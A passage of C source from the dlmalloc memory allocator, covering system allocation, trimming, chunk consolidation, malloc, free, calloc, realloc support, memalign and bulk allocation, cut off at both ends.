mchunkptr p = tnext;
int nfences = 0;
/* reset top to new space */
init_top(m, (mchunkptr)tbase, tsize - TOP_FOOT_SIZE);
/* Set up segment record */
assert(is_aligned(ss));
set_size_and_pinuse_of_inuse_chunk(m, sp, ssize);
*ss = m->seg; /* Push current record */
m->seg.base = tbase;
m->seg.size = tsize;
m->seg.sflags = mmapped;
m->seg.next = ss;
/* Insert trailing fenceposts */
for (;;) {
mchunkptr nextp = chunk_plus_offset(p, SIZE_T_SIZE);
p->head = FENCEPOST_HEAD;
++nfences;
if ((char*)(&(nextp->head)) < old_end)
p = nextp;
else
break;
}
assert(nfences >= 2);
/* Insert the rest of old top into a bin as an ordinary free chunk */
if (csp != old_top) {
mchunkptr q = (mchunkptr)old_top;
size_t psize = csp - old_top;
mchunkptr tn = chunk_plus_offset(q, psize);
set_free_with_pinuse(q, psize, tn);
insert_chunk(m, q, psize);
}
check_top_chunk(m, m->top);
}
/* -------------------------- System allocation -------------------------- */
/* Get memory from system using MORECORE or MMAP */
static void* sys_alloc(mstate m, size_t nb) {
char* tbase = CMFAIL;
size_t tsize = 0;
flag_t mmap_flag = 0;
size_t asize; /* allocation size */
ensure_initialization();
/* Directly map large chunks, but only if already initialized */
if (use_mmap(m) && nb >= mparams.mmap_threshold && m->topsize != 0) {
void* mem = mmap_alloc(m, nb);
if (mem != 0)
return mem;
}
asize = granularity_align(nb + SYS_ALLOC_PADDING);
if (asize <= nb)
return 0; /* wraparound */
if (m->footprint_limit != 0) {
size_t fp = m->footprint + asize;
if (fp <= m->footprint || fp > m->footprint_limit)
return 0;
}
/*
Try getting memory in any of three ways (in most-preferred to
least-preferred order):
1. A call to MORECORE that can normally contiguously extend memory.
(disabled if not MORECORE_CONTIGUOUS or not HAVE_MORECORE or
or main space is mmapped or a previous contiguous call failed)
2. A call to MMAP new space (disabled if not HAVE_MMAP).
Note that under the default settings, if MORECORE is unable to
fulfill a request, and HAVE_MMAP is true, then mmap is
used as a noncontiguous system allocator. This is a useful backup
strategy for systems with holes in address spaces -- in this case
sbrk cannot contiguously expand the heap, but mmap may be able to
find space.
3. A call to MORECORE that cannot usually contiguously extend memory.
(disabled if not HAVE_MORECORE)
In all cases, we need to request enough bytes from system to ensure
we can malloc nb bytes upon success, so pad with enough space for
top_foot, plus alignment-pad to make sure we don't lose bytes if
not on boundary, and round this up to a granularity unit.
*/
if (MORECORE_CONTIGUOUS && !use_noncontiguous(m)) {
char* br = CMFAIL;
size_t ssize = asize; /* sbrk call size */
msegmentptr ss = (m->top == 0)? 0 : segment_holding(m, (char*)m->top);
ACQUIRE_MALLOC_GLOBAL_LOCK();
if (ss == 0) { /* First time through or recovery */
char* base = (char*)CALL_MORECORE(0);
if (base != CMFAIL) {
size_t fp;
/* Adjust to end on a page boundary */
if (!is_page_aligned(base))
ssize += (page_align((size_t)base) - (size_t)base);
fp = m->footprint + ssize; /* recheck limits */
if (ssize > nb && ssize < HALF_MAX_SIZE_T &&
(m->footprint_limit == 0 ||
(fp > m->footprint && fp <= m->footprint_limit)) &&
(br = (char*)(CALL_MORECORE(ssize))) == base) {
tbase = base;
tsize = ssize;
}
}
}
else {
/* Subtract out existing available top space from MORECORE request. */
ssize = granularity_align(nb - m->topsize + SYS_ALLOC_PADDING);
/* Use mem here only if it did continuously extend old space */
if (ssize < HALF_MAX_SIZE_T &&
(br = (char*)(CALL_MORECORE(ssize))) == ss->base+ss->size) {
tbase = br;
tsize = ssize;
}
}
if (tbase == CMFAIL) { /* Cope with partial failure */
if (br != CMFAIL) { /* Try to use/extend the space we did get */
if (ssize < HALF_MAX_SIZE_T &&
ssize < nb + SYS_ALLOC_PADDING) {
size_t esize = granularity_align(nb + SYS_ALLOC_PADDING - ssize);
if (esize < HALF_MAX_SIZE_T) {
char* end = (char*)CALL_MORECORE(esize);
if (end != CMFAIL)
ssize += esize;
else { /* Can't use; try to release */
(void) CALL_MORECORE(-ssize);
br = CMFAIL;
}
}
}
}
if (br != CMFAIL) { /* Use the space we did get */
tbase = br;
tsize = ssize;
}
else
disable_contiguous(m); /* Don't try contiguous path in the future */
}
RELEASE_MALLOC_GLOBAL_LOCK();
}
if (HAVE_MMAP && tbase == CMFAIL) { /* Try MMAP */
char* mp = (char*)(CALL_MMAP(asize));
if (mp != CMFAIL) {
tbase = mp;
tsize = asize;
mmap_flag = USE_MMAP_BIT;
}
}
if (HAVE_MORECORE && tbase == CMFAIL) { /* Try noncontiguous MORECORE */
if (asize < HALF_MAX_SIZE_T) {
char* br = CMFAIL;
char* end = CMFAIL;
ACQUIRE_MALLOC_GLOBAL_LOCK();
br = (char*)(CALL_MORECORE(asize));
end = (char*)(CALL_MORECORE(0));
RELEASE_MALLOC_GLOBAL_LOCK();
if (br != CMFAIL && end != CMFAIL && br < end) {
size_t ssize = end - br;
if (ssize > nb + TOP_FOOT_SIZE) {
tbase = br;
tsize = ssize;
}
}
}
}
if (tbase != CMFAIL) {
if ((m->footprint += tsize) > m->max_footprint)
m->max_footprint = m->footprint;
if (!is_initialized(m)) { /* first-time initialization */
if (m->least_addr == 0 || tbase < m->least_addr)
m->least_addr = tbase;
m->seg.base = tbase;
m->seg.size = tsize;
m->seg.sflags = mmap_flag;
m->magic = mparams.magic;
m->release_checks = MAX_RELEASE_CHECK_RATE;
init_bins(m);
#if !ONLY_MSPACES
if (is_global(m))
init_top(m, (mchunkptr)tbase, tsize - TOP_FOOT_SIZE);
else
#endif
{
/* Offset top by embedded malloc_state */
mchunkptr mn = next_chunk(mem2chunk(m));
init_top(m, mn, (size_t)((tbase + tsize) - (char*)mn) -TOP_FOOT_SIZE);
}
}
else {
/* Try to merge with an existing segment */
msegmentptr sp = &m->seg;
/* Only consider most recent segment if traversal suppressed */
while (sp != 0 && tbase != sp->base + sp->size)
sp = (NO_SEGMENT_TRAVERSAL) ? 0 : sp->next;
if (sp != 0 &&
!is_extern_segment(sp) &&
(sp->sflags & USE_MMAP_BIT) == mmap_flag &&
segment_holds(sp, m->top)) { /* append */
sp->size += tsize;
init_top(m, m->top, m->topsize + tsize);
}
else {
if (tbase < m->least_addr)
m->least_addr = tbase;
sp = &m->seg;
while (sp != 0 && sp->base != tbase + tsize)
sp = (NO_SEGMENT_TRAVERSAL) ? 0 : sp->next;
if (sp != 0 &&
!is_extern_segment(sp) &&
(sp->sflags & USE_MMAP_BIT) == mmap_flag) {
char* oldbase = sp->base;
sp->base = tbase;
sp->size += tsize;
return prepend_alloc(m, tbase, oldbase, nb);
}
else
add_segment(m, tbase, tsize, mmap_flag);
}
}
if (nb < m->topsize) { /* Allocate from new or extended top space */
size_t rsize = m->topsize -= nb;
mchunkptr p = m->top;
mchunkptr r = m->top = chunk_plus_offset(p, nb);
r->head = rsize | PINUSE_BIT;
set_size_and_pinuse_of_inuse_chunk(m, p, nb);
check_top_chunk(m, m->top);
check_malloced_chunk(m, chunk2mem(p), nb);
return chunk2mem(p);
}
}
MALLOC_FAILURE_ACTION;
return 0;
}
/* ----------------------- system deallocation -------------------------- */
/* Unmap and unlink any mmapped segments that don't contain used chunks */
static size_t release_unused_segments(mstate m) {
size_t released = 0;
int nsegs = 0;
msegmentptr pred = &m->seg;
msegmentptr sp = pred->next;
while (sp != 0) {
char* base = sp->base;
size_t size = sp->size;
msegmentptr next = sp->next;
++nsegs;
if (is_mmapped_segment(sp) && !is_extern_segment(sp)) {
mchunkptr p = align_as_chunk(base);
size_t psize = chunksize(p);
/* Can unmap if first chunk holds entire segment and not pinned */
if (!is_inuse(p) && (char*)p + psize >= base + size - TOP_FOOT_SIZE) {
tchunkptr tp = (tchunkptr)p;
assert(segment_holds(sp, (char*)sp));
if (p == m->dv) {
m->dv = 0;
m->dvsize = 0;
}
else {
unlink_large_chunk(m, tp);
}
if (CALL_MUNMAP(base, size) == 0) {
released += size;
m->footprint -= size;
/* unlink obsoleted record */
sp = pred;
sp->next = next;
}
else { /* back out if cannot unmap */
insert_large_chunk(m, tp, psize);
}
}
}
if (NO_SEGMENT_TRAVERSAL) /* scan only first segment */
break;
pred = sp;
sp = next;
}
/* Reset check counter */
m->release_checks = (((size_t) nsegs > (size_t) MAX_RELEASE_CHECK_RATE)?
(size_t) nsegs : (size_t) MAX_RELEASE_CHECK_RATE);
return released;
}
static int sys_trim(mstate m, size_t pad) {
size_t released = 0;
ensure_initialization();
if (pad < MAX_REQUEST && is_initialized(m)) {
pad += TOP_FOOT_SIZE; /* ensure enough room for segment overhead */
if (m->topsize > pad) {
/* Shrink top space in granularity-size units, keeping at least one */
size_t unit = mparams.granularity;
size_t extra = ((m->topsize - pad + (unit - SIZE_T_ONE)) / unit -
SIZE_T_ONE) * unit;
msegmentptr sp = segment_holding(m, (char*)m->top);
if (!is_extern_segment(sp)) {
if (is_mmapped_segment(sp)) {
if (HAVE_MMAP &&
sp->size >= extra &&
!has_segment_link(m, sp)) { /* can't shrink if pinned */
size_t newsize = sp->size - extra;
(void)newsize; /* placate people compiling -Wunused-variable */
/* Prefer mremap, fall back to munmap */
if ((CALL_MREMAP(sp->base, sp->size, newsize, 0) != MFAIL) ||
(CALL_MUNMAP(sp->base + newsize, extra) == 0)) {
released = extra;
}
}
}
else if (HAVE_MORECORE) {
if (extra >= HALF_MAX_SIZE_T) /* Avoid wrapping negative */
extra = (HALF_MAX_SIZE_T) + SIZE_T_ONE - unit;
ACQUIRE_MALLOC_GLOBAL_LOCK();
{
/* Make sure end of memory is where we last set it. */
char* old_br = (char*)(CALL_MORECORE(0));
if (old_br == sp->base + sp->size) {
char* rel_br = (char*)(CALL_MORECORE(-extra));
char* new_br = (char*)(CALL_MORECORE(0));
if (rel_br != CMFAIL && new_br < old_br)
released = old_br - new_br;
}
}
RELEASE_MALLOC_GLOBAL_LOCK();
}
}
if (released != 0) {
sp->size -= released;
m->footprint -= released;
init_top(m, m->top, m->topsize - released);
check_top_chunk(m, m->top);
}
}
/* Unmap any unused mmapped segments */
if (HAVE_MMAP)
released += release_unused_segments(m);
/* On failure, disable autotrim to avoid repeated failed future calls */
if (released == 0 && m->topsize > m->trim_check)
m->trim_check = MAX_SIZE_T;
}
return (released != 0)? 1 : 0;
}
/* Consolidate and bin a chunk. Differs from exported versions
of free mainly in that the chunk need not be marked as inuse.
*/
static void dispose_chunk(mstate m, mchunkptr p, size_t psize) {
mchunkptr next = chunk_plus_offset(p, psize);
if (!pinuse(p)) {
mchunkptr prev;
size_t prevsize = p->prev_foot;
if (is_mmapped(p)) {
psize += prevsize + MMAP_FOOT_PAD;
if (CALL_MUNMAP((char*)p - prevsize, psize) == 0)
m->footprint -= psize;
return;
}
prev = chunk_minus_offset(p, prevsize);
psize += prevsize;
p = prev;
if (RTCHECK(ok_address(m, prev))) { /* consolidate backward */
if (p != m->dv) {
unlink_chunk(m, p, prevsize);
}
else if ((next->head & INUSE_BITS) == INUSE_BITS) {
m->dvsize = psize;
set_free_with_pinuse(p, psize, next);
return;
}
}
else {
CORRUPTION_ERROR_ACTION(m);
return;
}
}
if (RTCHECK(ok_address(m, next))) {
if (!cinuse(next)) { /* consolidate forward */
if (next == m->top) {
size_t tsize = m->topsize += psize;
m->top = p;
p->head = tsize | PINUSE_BIT;
if (p == m->dv) {
m->dv = 0;
m->dvsize = 0;
}
return;
}
else if (next == m->dv) {
size_t dsize = m->dvsize += psize;
m->dv = p;
set_size_and_pinuse_of_free_chunk(p, dsize);
return;
}
else {
size_t nsize = chunksize(next);
psize += nsize;
unlink_chunk(m, next, nsize);
set_size_and_pinuse_of_free_chunk(p, psize);
if (p == m->dv) {
m->dvsize = psize;
return;
}
}
}
else {
set_free_with_pinuse(p, psize, next);
}
insert_chunk(m, p, psize);
}
else {
CORRUPTION_ERROR_ACTION(m);
}
}
/* ---------------------------- malloc --------------------------- */
/* allocate a large request from the best fitting chunk in a treebin */
static void* tmalloc_large(mstate m, size_t nb) {
tchunkptr v = 0;
size_t rsize = -nb; /* Unsigned negation */
tchunkptr t;
bindex_t idx;
compute_tree_index(nb, idx);
if ((t = *treebin_at(m, idx)) != 0) {
/* Traverse tree for this bin looking for node with size == nb */
size_t sizebits = nb << leftshift_for_tree_index(idx);
tchunkptr rst = 0; /* The deepest untaken right subtree */
for (;;) {
tchunkptr rt;
size_t trem = chunksize(t) - nb;
if (trem < rsize) {
v = t;
if ((rsize = trem) == 0)
break;
}
rt = t->child[1];
t = t->child[(sizebits >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1];
if (rt != 0 && rt != t)
rst = rt;
if (t == 0) {
t = rst; /* set t to least subtree holding sizes > nb */
break;
}
sizebits <<= 1;
}
}
if (t == 0 && v == 0) { /* set t to root of next non-empty treebin */
binmap_t leftbits = left_bits(idx2bit(idx)) & m->treemap;
if (leftbits != 0) {
bindex_t i;
binmap_t leastbit = least_bit(leftbits);
compute_bit2idx(leastbit, i);
t = *treebin_at(m, i);
}
}
while (t != 0) { /* find smallest of tree or subtree */
size_t trem = chunksize(t) - nb;
if (trem < rsize) {
rsize = trem;
v = t;
}
t = leftmost_child(t);
}
/* If dv is a better fit, return 0 so malloc will use it */
if (v != 0 && rsize < (size_t)(m->dvsize - nb)) {
if (RTCHECK(ok_address(m, v))) { /* split */
mchunkptr r = chunk_plus_offset(v, nb);
assert(chunksize(v) == rsize + nb);
if (RTCHECK(ok_next(v, r))) {
unlink_large_chunk(m, v);
if (rsize < MIN_CHUNK_SIZE)
set_inuse_and_pinuse(m, v, (rsize + nb));
else {
set_size_and_pinuse_of_inuse_chunk(m, v, nb);
set_size_and_pinuse_of_free_chunk(r, rsize);
insert_chunk(m, r, rsize);
}
return chunk2mem(v);
}
}
CORRUPTION_ERROR_ACTION(m);
}
return 0;
}
/* allocate a small request from the best fitting chunk in a treebin */
static void* tmalloc_small(mstate m, size_t nb) {
tchunkptr t, v;
size_t rsize;
bindex_t i;
binmap_t leastbit = least_bit(m->treemap);
compute_bit2idx(leastbit, i);
v = t = *treebin_at(m, i);
rsize = chunksize(t) - nb;
while ((t = leftmost_child(t)) != 0) {
size_t trem = chunksize(t) - nb;
if (trem < rsize) {
rsize = trem;
v = t;
}
}
if (RTCHECK(ok_address(m, v))) {
mchunkptr r = chunk_plus_offset(v, nb);
assert(chunksize(v) == rsize + nb);
if (RTCHECK(ok_next(v, r))) {
unlink_large_chunk(m, v);
if (rsize < MIN_CHUNK_SIZE)
set_inuse_and_pinuse(m, v, (rsize + nb));
else {
set_size_and_pinuse_of_inuse_chunk(m, v, nb);
set_size_and_pinuse_of_free_chunk(r, rsize);
replace_dv(m, r, rsize);
}
return chunk2mem(v);
}
}
CORRUPTION_ERROR_ACTION(m);
return 0;
}
#if !ONLY_MSPACES
void* dlmalloc(size_t bytes) {
/*
Basic algorithm:
If a small request (< 256 bytes minus per-chunk overhead):
1. If one exists, use a remainderless chunk in associated smallbin.
(Remainderless means that there are too few excess bytes to
represent as a chunk.)
2. If it is big enough, use the dv chunk, which is normally the
chunk adjacent to the one used for the most recent small request.
3. If one exists, split the smallest available chunk in a bin,
saving remainder in dv.
4. If it is big enough, use the top chunk.
5. If available, get memory from system and use it
Otherwise, for a large request:
1. Find the smallest available binned chunk that fits, and use it
if it is better fitting than dv chunk, splitting if necessary.
2. If better fitting than any binned chunk, use the dv chunk.
3. If it is big enough, use the top chunk.
4. If request size >= mmap threshold, try to directly mmap this chunk.
5. If available, get memory from system and use it
The ugly goto's here ensure that postaction occurs along all paths.
*/
#if USE_LOCKS
ensure_initialization(); /* initialize in sys_alloc if not using locks */
#endif
if (!PREACTION(gm)) {
void* mem;
size_t nb;
if (bytes <= MAX_SMALL_REQUEST) {
bindex_t idx;
binmap_t smallbits;
nb = (bytes < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(bytes);
idx = small_index(nb);
smallbits = gm->smallmap >> idx;
if ((smallbits & 0x3U) != 0) { /* Remainderless fit to a smallbin. */
mchunkptr b, p;
idx += ~smallbits & 1; /* Uses next bin if idx empty */
b = smallbin_at(gm, idx);
p = b->fd;
assert(chunksize(p) == small_index2size(idx));
unlink_first_small_chunk(gm, b, p, idx);
set_inuse_and_pinuse(gm, p, small_index2size(idx));
mem = chunk2mem(p);
check_malloced_chunk(gm, mem, nb);
goto postaction;
}
else if (nb > gm->dvsize) {
if (smallbits != 0) { /* Use chunk in next nonempty smallbin */
mchunkptr b, p, r;
size_t rsize;
bindex_t i;
binmap_t leftbits = (smallbits << idx) & left_bits(idx2bit(idx));
binmap_t leastbit = least_bit(leftbits);
compute_bit2idx(leastbit, i);
b = smallbin_at(gm, i);
p = b->fd;
assert(chunksize(p) == small_index2size(i));
unlink_first_small_chunk(gm, b, p, i);
rsize = small_index2size(i) - nb;
/* Fit here cannot be remainderless if 4byte sizes */
if (SIZE_T_SIZE != 4 && rsize < MIN_CHUNK_SIZE)
set_inuse_and_pinuse(gm, p, small_index2size(i));
else {
set_size_and_pinuse_of_inuse_chunk(gm, p, nb);
r = chunk_plus_offset(p, nb);
set_size_and_pinuse_of_free_chunk(r, rsize);
replace_dv(gm, r, rsize);
}
mem = chunk2mem(p);
check_malloced_chunk(gm, mem, nb);
goto postaction;
}
else if (gm->treemap != 0 && (mem = tmalloc_small(gm, nb)) != 0) {
check_malloced_chunk(gm, mem, nb);
goto postaction;
}
}
}
else if (bytes >= MAX_REQUEST)
nb = MAX_SIZE_T; /* Too big to allocate. Force failure (in sys alloc) */
else {
nb = pad_request(bytes);
if (gm->treemap != 0 && (mem = tmalloc_large(gm, nb)) != 0) {
check_malloced_chunk(gm, mem, nb);
goto postaction;
}
}
if (nb <= gm->dvsize) {
size_t rsize = gm->dvsize - nb;
mchunkptr p = gm->dv;
if (rsize >= MIN_CHUNK_SIZE) { /* split dv */
mchunkptr r = gm->dv = chunk_plus_offset(p, nb);
gm->dvsize = rsize;
set_size_and_pinuse_of_free_chunk(r, rsize);
set_size_and_pinuse_of_inuse_chunk(gm, p, nb);
}
else { /* exhaust dv */
size_t dvs = gm->dvsize;
gm->dvsize = 0;
gm->dv = 0;
set_inuse_and_pinuse(gm, p, dvs);
}
mem = chunk2mem(p);
check_malloced_chunk(gm, mem, nb);
goto postaction;
}
else if (nb < gm->topsize) { /* Split top */
size_t rsize = gm->topsize -= nb;
mchunkptr p = gm->top;
mchunkptr r = gm->top = chunk_plus_offset(p, nb);
r->head = rsize | PINUSE_BIT;
set_size_and_pinuse_of_inuse_chunk(gm, p, nb);
mem = chunk2mem(p);
check_top_chunk(gm, gm->top);
check_malloced_chunk(gm, mem, nb);
goto postaction;
}
mem = sys_alloc(gm, nb);
postaction:
POSTACTION(gm);
return mem;
}
return 0;
}
/* ---------------------------- free --------------------------- */
void dlfree(void* mem) {
/*
Consolidate freed chunks with preceeding or succeeding bordering
free chunks, if they exist, and then place in a bin. Intermixed
with special cases for top, dv, mmapped chunks, and usage errors.
*/
if (mem != 0) {
mchunkptr p = mem2chunk(mem);
#if FOOTERS
mstate fm = get_mstate_for(p);
if (!ok_magic(fm)) {
USAGE_ERROR_ACTION(fm, p);
return;
}
#else /* FOOTERS */
#define fm gm
#endif /* FOOTERS */
if (!PREACTION(fm)) {
check_inuse_chunk(fm, p);
if (RTCHECK(ok_address(fm, p) && ok_inuse(p))) {
size_t psize = chunksize(p);
mchunkptr next = chunk_plus_offset(p, psize);
if (!pinuse(p)) {
size_t prevsize = p->prev_foot;
if (is_mmapped(p)) {
psize += prevsize + MMAP_FOOT_PAD;
if (CALL_MUNMAP((char*)p - prevsize, psize) == 0)
fm->footprint -= psize;
goto postaction;
}
else {
mchunkptr prev = chunk_minus_offset(p, prevsize);
psize += prevsize;
p = prev;
if (RTCHECK(ok_address(fm, prev))) { /* consolidate backward */
if (p != fm->dv) {
unlink_chunk(fm, p, prevsize);
}
else if ((next->head & INUSE_BITS) == INUSE_BITS) {
fm->dvsize = psize;
set_free_with_pinuse(p, psize, next);
goto postaction;
}
}
else
goto erroraction;
}
}
if (RTCHECK(ok_next(p, next) && ok_pinuse(next))) {
if (!cinuse(next)) { /* consolidate forward */
if (next == fm->top) {
size_t tsize = fm->topsize += psize;
fm->top = p;
p->head = tsize | PINUSE_BIT;
if (p == fm->dv) {
fm->dv = 0;
fm->dvsize = 0;
}
if (should_trim(fm, tsize))
sys_trim(fm, 0);
goto postaction;
}
else if (next == fm->dv) {
size_t dsize = fm->dvsize += psize;
fm->dv = p;
set_size_and_pinuse_of_free_chunk(p, dsize);
goto postaction;
}
else {
size_t nsize = chunksize(next);
psize += nsize;
unlink_chunk(fm, next, nsize);
set_size_and_pinuse_of_free_chunk(p, psize);
if (p == fm->dv) {
fm->dvsize = psize;
goto postaction;
}
}
}
else
set_free_with_pinuse(p, psize, next);
if (is_small(psize)) {
insert_small_chunk(fm, p, psize);
check_free_chunk(fm, p);
}
else {
tchunkptr tp = (tchunkptr)p;
insert_large_chunk(fm, tp, psize);
check_free_chunk(fm, p);
if (--fm->release_checks == 0)
release_unused_segments(fm);
}
goto postaction;
}
}
erroraction:
USAGE_ERROR_ACTION(fm, p);
postaction:
POSTACTION(fm);
}
}
#if !FOOTERS
#undef fm
#endif /* FOOTERS */
}
void* dlcalloc(size_t n_elements, size_t elem_size) {
void* mem;
size_t req = 0;
if (n_elements != 0) {
req = n_elements * elem_size;
if (((n_elements | elem_size) & ~(size_t)0xffff) &&
(req / n_elements != elem_size))
req = MAX_SIZE_T; /* force downstream failure on overflow */
}
mem = dlmalloc(req);
if (mem != 0 && calloc_must_clear(mem2chunk(mem)))
memset(mem, 0, req);
return mem;
}
#endif /* !ONLY_MSPACES */
/* ------------ Internal support for realloc, memalign, etc -------------- */
/* Try to realloc; only in-place unless can_move true */
static mchunkptr try_realloc_chunk(mstate m, mchunkptr p, size_t nb,
int can_move) {
mchunkptr newp = 0;
size_t oldsize = chunksize(p);
mchunkptr next = chunk_plus_offset(p, oldsize);
if (RTCHECK(ok_address(m, p) && ok_inuse(p) &&
ok_next(p, next) && ok_pinuse(next))) {
if (is_mmapped(p)) {
newp = mmap_resize(m, p, nb, can_move);
}
else if (oldsize >= nb) { /* already big enough */
size_t rsize = oldsize - nb;
if (rsize >= MIN_CHUNK_SIZE) { /* split off remainder */
mchunkptr r = chunk_plus_offset(p, nb);
set_inuse(m, p, nb);
set_inuse(m, r, rsize);
dispose_chunk(m, r, rsize);
}
newp = p;
}
else if (next == m->top) { /* extend into top */
if (oldsize + m->topsize > nb) {
size_t newsize = oldsize + m->topsize;
size_t newtopsize = newsize - nb;
mchunkptr newtop = chunk_plus_offset(p, nb);
set_inuse(m, p, nb);
newtop->head = newtopsize |PINUSE_BIT;
m->top = newtop;
m->topsize = newtopsize;
newp = p;
}
}
else if (next == m->dv) { /* extend into dv */
size_t dvs = m->dvsize;
if (oldsize + dvs >= nb) {
size_t dsize = oldsize + dvs - nb;
if (dsize >= MIN_CHUNK_SIZE) {
mchunkptr r = chunk_plus_offset(p, nb);
mchunkptr n = chunk_plus_offset(r, dsize);
set_inuse(m, p, nb);
set_size_and_pinuse_of_free_chunk(r, dsize);
clear_pinuse(n);
m->dvsize = dsize;
m->dv = r;
}
else { /* exhaust dv */
size_t newsize = oldsize + dvs;
set_inuse(m, p, newsize);
m->dvsize = 0;
m->dv = 0;
}
newp = p;
}
}
else if (!cinuse(next)) { /* extend into next free chunk */
size_t nextsize = chunksize(next);
if (oldsize + nextsize >= nb) {
size_t rsize = oldsize + nextsize - nb;
unlink_chunk(m, next, nextsize);
if (rsize < MIN_CHUNK_SIZE) {
size_t newsize = oldsize + nextsize;
set_inuse(m, p, newsize);
}
else {
mchunkptr r = chunk_plus_offset(p, nb);
set_inuse(m, p, nb);
set_inuse(m, r, rsize);
dispose_chunk(m, r, rsize);
}
newp = p;
}
}
}
else {
USAGE_ERROR_ACTION(m, chunk2mem(p));
}
return newp;
}
static void* internal_memalign(mstate m, size_t alignment, size_t bytes) {
void* mem = 0;
if (alignment < MIN_CHUNK_SIZE) /* must be at least a minimum chunk size */
alignment = MIN_CHUNK_SIZE;
if ((alignment & (alignment-SIZE_T_ONE)) != 0) {/* Ensure a power of 2 */
size_t a = MALLOC_ALIGNMENT << 1;
while (a < alignment) a <<= 1;
alignment = a;
}
if (bytes >= MAX_REQUEST - alignment) {
if (m != 0) { /* Test isn't needed but avoids compiler warning */
MALLOC_FAILURE_ACTION;
}
}
else {
size_t nb = request2size(bytes);
size_t req = nb + alignment + MIN_CHUNK_SIZE - CHUNK_OVERHEAD;
mem = internal_malloc(m, req);
if (mem != 0) {
mchunkptr p = mem2chunk(mem);
if (PREACTION(m))
return 0;
if ((((size_t)(mem)) & (alignment - 1)) != 0) { /* misaligned */
/*
Find an aligned spot inside chunk. Since we need to give
back leading space in a chunk of at least MIN_CHUNK_SIZE, if
the first calculation places us at a spot with less than
MIN_CHUNK_SIZE leader, we can move to the next aligned spot.
We've allocated enough total room so that this is always
possible.
*/
char* br = (char*)mem2chunk((size_t)(((size_t)((char*)mem + alignment -
SIZE_T_ONE)) &
-alignment));
char* pos = ((size_t)(br - (char*)(p)) >= MIN_CHUNK_SIZE)?
br : br+alignment;
mchunkptr newp = (mchunkptr)pos;
size_t leadsize = pos - (char*)(p);
size_t newsize = chunksize(p) - leadsize;
if (is_mmapped(p)) { /* For mmapped chunks, just adjust offset */
newp->prev_foot = p->prev_foot + leadsize;
newp->head = newsize;
}
else { /* Otherwise, give back leader, use the rest */
set_inuse(m, newp, newsize);
set_inuse(m, p, leadsize);
dispose_chunk(m, p, leadsize);
}
p = newp;
}
/* Give back spare room at the end */
if (!is_mmapped(p)) {
size_t size = chunksize(p);
if (size > nb + MIN_CHUNK_SIZE) {
size_t remainder_size = size - nb;
mchunkptr remainder = chunk_plus_offset(p, nb);
set_inuse(m, p, nb);
set_inuse(m, remainder, remainder_size);
dispose_chunk(m, remainder, remainder_size);
}
}
mem = chunk2mem(p);
assert (chunksize(p) >= nb);
assert(((size_t)mem & (alignment - 1)) == 0);
check_inuse_chunk(m, p);
POSTACTION(m);
}
}
return mem;
}
/*
Common support for independent_X routines, handling
all of the combinations that can result.
The opts arg has:
bit 0 set if all elements are same size (using sizes[0])
bit 1 set if elements should be zeroed
*/
static void** ialloc(mstate m,
size_t n_elements,
size_t* sizes,
int opts,
void* chunks[]) {
size_t element_size; /* chunksize of each element, if all same */
size_t contents_size; /* total size of elements */
size_t array_size; /* request size of pointer array */
void* mem; /* malloced aggregate space */
mchunkptr p; /* corresponding chunk */
size_t remainder_size; /* remaining bytes while splitting */
void** marray; /* either "chunks" or malloced ptr array */
mchunkptr array_chunk; /* chunk for malloced ptr array */
flag_t was_enabled; /* to disable mmap */
size_t size;
size_t i;
ensure_initialization();
/* compute array length, if needed */
if (chunks != 0) {
if (n_elements == 0)
return chunks; /* nothing to do */
marray = chunks;
array_size = 0;
}
else {
/* if empty req, must still return chunk representing empty array */
if (n_elements == 0)
return (void**)internal_malloc(m, 0);
marray = 0;
array_size = request2size(n_elements * (sizeof(void*)));
}
/* compute total element size */
if (opts & 0x1) { /* all-same-size */
element_size = request2size(*sizes);
contents_size = n_elements * element_size;
}
else { /* add up all the sizes */
element_size = 0;
contents_size = 0;
for (i = 0; i != n_elements; ++i)
contents_size += request2size(sizes[i]);
}
size = contents_size + array_size;
/*
Allocate the aggregate chunk. First disable direct-mmapping so
malloc won't use it, since we would not be able to later
free/realloc space internal to a segregated mmap region.
*/
was_enabled = use_mmap(m);
disable_mmap(m);
mem = internal_malloc(m, size - CHUNK_OVERHEAD);
if (was_enabled)
enable_mmap(m);
if (mem == 0)
return 0;
if (PREACTION(m)) return 0;
p = mem2chunk(mem);
remainder_size = chunksize(p);
assert(!is_mmapped(p));
if (opts & 0x2) { /* optionally clear the elements */
memset((size_t*)mem, 0, remainder_size - SIZE_T_SIZE - array_size);
}
/* If not provided, allocate the pointer array as final part of chunk */
if (marray == 0) {
size_t array_chunk_size;
array_chunk = chunk_plus_offset(p, contents_size);
array_chunk_size = remainder_size - contents_size;
marray = (void**) (chunk2mem(array_chunk));
set_size_and_pinuse_of_inuse_chunk(m, array_chunk, array_chunk_size);
remainder_size = contents_size;
}
/* split out elements */
for (i = 0; ; ++i) {
marray[i] = chunk2mem(p);
if (i != n_elements-1) {
if (element_size != 0)
size = element_size;
else
size = request2size(sizes[i]);
remainder_size -= size;
set_size_and_pinuse_of_inuse_chunk(m, p, size);
p = chunk_plus_offset(p, size);
}
else { /* the final element absorbs any overallocation slop */
set_size_and_pinuse_of_inuse_chunk(m, p, remainder_size);
break;
}
}
#if DEBUG
if (marray != chunks) {
/* final element must have exactly exhausted chunk */
if (element_size != 0) {
assert(remainder_size == element_size);
}
else {
assert(remainder_size == request2size(sizes[i]));
}
check_inuse_chunk(m, mem2chunk(marray));
}
for (i = 0; i != n_elements; ++i)
check_inuse_chunk(m, mem2chunk(marray[i]));
#endif /* DEBUG */
POSTACTION(m);
return marray;
}
/* Try to free all pointers in the given array.
Note: this could be made faster, by delaying consolidation,
at the price of disabling some user integrity checks, We
still optimize some consolidations by combining adjacent
chunks before freeing, which will occur often if allocated
with ialloc or the array is sorted.
*/
static size_t internal_bulk_free(mstate m, void* array[], size_t nelem) {
size_t unfreed = 0;
if (!PREACTION(m)) {
void** a;
void** fence = &(array[nelem]);
for (a = array; a != fence; ++a) {
void* mem = *a;
if (mem != 0) {
mchunkptr p = mem2chunk(mem);
size_t psize = chunksize(p);
#if FOOTERS
if (get_mstate_for(p) != m) {
++unfreed;
continue;
}
#endif
check_inuse_chunk(m, p);
*a = 0;
if (RTCHECK(ok_address(m, p) && ok_inuse(p))) {
void ** b = a + 1; /* try to merge with next chunk */
mchunkptr next = next_chunk(p);
if (b != fence && *b == chunk2mem(next)) {
size_t newsize = chunksize(next) + psize;
set_inuse(m, p, newsize);
*b = chunk2mem(p);
